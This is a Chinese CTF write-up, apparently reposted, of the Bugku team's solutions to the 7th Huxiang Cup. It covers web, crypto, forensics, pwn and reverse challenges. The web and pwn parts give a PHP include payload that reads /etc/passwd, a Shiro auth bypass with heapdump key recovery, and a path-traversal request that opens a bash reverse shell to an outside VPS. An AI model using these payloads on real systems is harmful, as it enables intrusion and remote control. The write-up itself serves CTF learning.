第七届“湖湘杯” Bugku战队writeup
Posted z.volcano
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了第七届“湖湘杯” Bugku战队writeup相关的知识,希望对你有一定的参考价值。
我只解了一道密码和一道杂项,因为疫情没有去线下赛。
wp
web
Eazywill
开局给了源代码,审计一下
重点在View::fetch()函数,经过一系列流程调用了renderTo,以下是重点代码
extract($_vars);
include $cfile;
那么直接传参: /?name=cfile&value=/etc/passwd
可以读取,但是尝试读取/flag失败,
联想到以前看过https://tttang.com/archive/1312/
那么直接靠这个考点,直接传参:
Pentest in Autumn
首先给了pom.xml
提示shiro是1.5.0版本,有未授权访问漏洞
访问http://eci-2zej1goyn9jh89xtqlpd.cloudeci1.ichunqiu.com:8888/;a/actuator/heapdump,
然后使用MAT打开进行分析
直接oql查询:
select s from org.apache.shiro.web.mgt.CookieRememberMeManager s
直接查看左侧Attributes
根据密钥的生成规则,
base64.b64encode(struct.pack(’<bbbbbbbbbbbbbbbb’, -8,51,71,105,69,57,-45,-46,104,73,116,3,28,126,-34,58))
得到密钥:
+DNHaUU509JoSXQDHH7eOg==
然后使用shiro的利用工具,直接getflag
crypto
signin
和[羊城杯 2020]RRRRRRRSA挺像的,前面连分数逼近部分的脚本用的是翅膀师傅博客里的。
from Crypto.Util.number import *
from gmpy2 import *
def transform(x, y): # 使用辗转相除将分数x/y转为连分数的形式
res = []
while y:
res.append(x // y)
x, y = y, x % y
return res
def continued_fraction(sub_res):
numerator, denominator = 1, 0
for i in sub_res[::-1]: # 从sublist的后面往前循环
denominator, numerator = numerator, i * numerator + denominator
return denominator, numerator # 得到渐进分数的分母和分子,并返回
# 求解每个渐进分数
def sub_fraction(x, y):
res = transform(x, y)
res = list(map(continued_fraction, (res[0:i] for i in range(1, len(res))))) # 将连分数的结果逐一截取以求渐进分数
return res
def wienerAttack(n1, n2):
for (q2, q1) in sub_fraction(n1, n2): # 用一个for循环来注意试探n1/n2的连续函数的渐进分数,直到找到一个满足条件的渐进分数
if q1 == 0: # 可能会出现连分数的第一个为0的情况,排除
continue
if n1 % q1 == 0 and q1 != 1: # 成立条件
return (q1, q2)
print("该方法不适用")
c1=361624030197288323178211941746074961985876772079713896964822566468795093475887773853629454653096485450671233584616088768705417987527877166166213574572987732852155320225332020636386698169212072312758052524652761304795529199864805108000796457423822443871436659548626629448170698048984709740274043050729249408577243328282313593461300703078854044587993248807613713896590402657788194264718603549894361488507629356532718775278399264279359256975688280723740017979438505001819438
c2=33322989148902718763644384246610630825314206644879155585369541624158380990667828419255828083639294898100922608833810585530801931417726134558845725168047585271855248605561256531342703212030641555260907310067120102069499927711242804407691706542428236208695153618955781372741765233319988193384708525251620506966304554054884590718068210659709406626033891748214407992041364462525367373648910810036622684929049996166651416565651803952838857960054689875755131784246099270581394
N1=1150398070565459492080597718626032792435556703413923483458704675295997646493249759818468321328556510074044954676615760446708253531839417036997811506222349194302791943489195718713797322878586379546657275419261647635859989280700191441312691274285176619391539387875252135478424580680264554294179123254566796890998243909286508189826458854346825493157697201495100628216832191035903848391447704849808577310612723700318670466035077202673373956324725108350230357879374234418393233
N2=1242678737076048096780023147702514112272319497423818488193557934695583793070332178723043194823444815153743889740338870676093799728875725651036060313223096288606947708155579060628807516053981975820338028456770109640111153719903207363617099371353910243497871090334898522942934052035102902892149792570965804205461900841595290667647854346905445201396273291648968142608158533514391348407631818144116768794595226974831093526512117505486679153727123796834305088741279455621586989
q1,q2=wienerAttack(N1, N2)
p1=iroot(N1//q1,4)[0]
p2=iroot(N2//q2,4)[0]
phi1=(p1**4-p1**3)*(q1-1)
phi2=(p2**4-p2**3)*(q2-1)
d1=invert(65537,phi1)
d2=invert(65537,phi2)
print(long_to_bytes(pow(c1,d1,N1)))
print(long_to_bytes(pow(c2,d2,N2)))
flag8ef333ac-21a7-11ec-80f1-00155d83f114
misc
某取证题
直接foremost,可以看到很多jpg图片和png图片,有的jpg图片上好像有字符,于是
一个一个dumpfiles弄出来,其中一张上面有后半个flag
接着pslist看进程,发现有wireshark,dump出来,再foremost,其中有一个加密的压缩包
尝试之后发现不是常规加密,是一种明文攻击,参考文章:https://blog.csdn.net/q851579181q/article/details/109767425
因为这里是jpg文件,所以选定文件头作为明文保存为key,这里选定的明文比较长,所以爆破速度会快很多,不过这一段是t.jpg对应的,跑秘钥的时候只能指定t.jpg。用FFD8FFE000104A4649460001
作为明文段会慢一点,但是两个图片都能指定。
echo -n "FFD8FFE000104A4649460001010000010001" | xxd -r -ps >key
然后跑秘钥
time ./bkcrack -C 1.zip -c t.jpg -p key -o 0
最后能跑出三段秘钥b0a90b36 14dd97b9 f5d648cf
再用秘钥去解两个图片,这里以a.jpg为例,解出来之后发现是Deflate的压缩形式,不能直接查看,于是使用inflate.py进行解压
bkcrack -C 1.zip -c a.jpg -k b0a90b36 14dd97b9 f5d648cf -d a1.jpg
#解压
python3 tools/inflate.py < a1.jpg > 2.jpg
解压之后就可以看到前一半flag
pwn
tiny_httpd
附件主页文件里发现有命令执行加绕过
方法
1.vps监听端口
2.然后连靶机nc执行下面命令
POST //...//...//...//...//...//...//...//...//...//...//...//.../bin/bashContent-Length: 100 HTTP/1.0 200 OKHTTP/1.0 200 OKbash -i >& /dev/tcp/vps地址/监听端口 0>&1 nc
vps上会弹shell,直接cat flag就行
reverse
Hideit
这个题首先祭出findcrypt
发现有salsa20
分析一下流程,其实需要调试
调试分析后发现是一个dll文件,分析算法
第一个算法是xxtea的加密算法,后面的才是findcrypt找到的salsa20算法。
第一个解出来密钥:dotitsit,,和真正的flag没啥关系
关键在于salas20算法,在内存中找到了0N3@aYI_M3l0dy_KurOm1_W_Suk1dqy0
至于算法的解密,其实都是异或算法,只要在内存中提取密钥流就行了,
把key和密文异或得出flag
key = [0x8D, 0xE2, 0x3D, 0xC2, 0x19, 0xF2, 0x2D, 0xCA, 0x18, 0x14, 0xCF, 0x52, 0x77, 0x5A, 0x9C, 0x13, 0xAA, 0xCC, 0x04, 0x5B, 0x92, 0xC1, 0x0C, 0x68, 0x45, 0x58, 0xF9, 0x47, 0x68, 0xD9, 0x35, 0xC5]
encstr = [0xEB, 0x8E, 0x5C, 0xA5, 0x62, 0xB4, 0x1C, 0x84, 0x5C, 0x59, 0xFC, 0x0D, 0x43, 0x3C, 0xAB, 0x20, 0xD8, 0x93, 0x33, 0x13, 0xA1, 0x9E, 0x39, 0x00, 0x76, 0x14, 0xB5, 0x04, 0x58, 0x9D, 0x06, 0xB8]
flag = ""
for i in range(32):
flag += chr(key[i] ^ encstr[i])
print flag
#flagF1NDM3_4f73r_7H3_5h3LLC0D3
以上是关于第七届“湖湘杯” Bugku战队writeup的主要内容,如果未能解决你的问题,请参考以下文章
bugku|ctf|杂项|啊哒(有趣的表情包 来源:第七届山东省大学生网络安全技能大赛)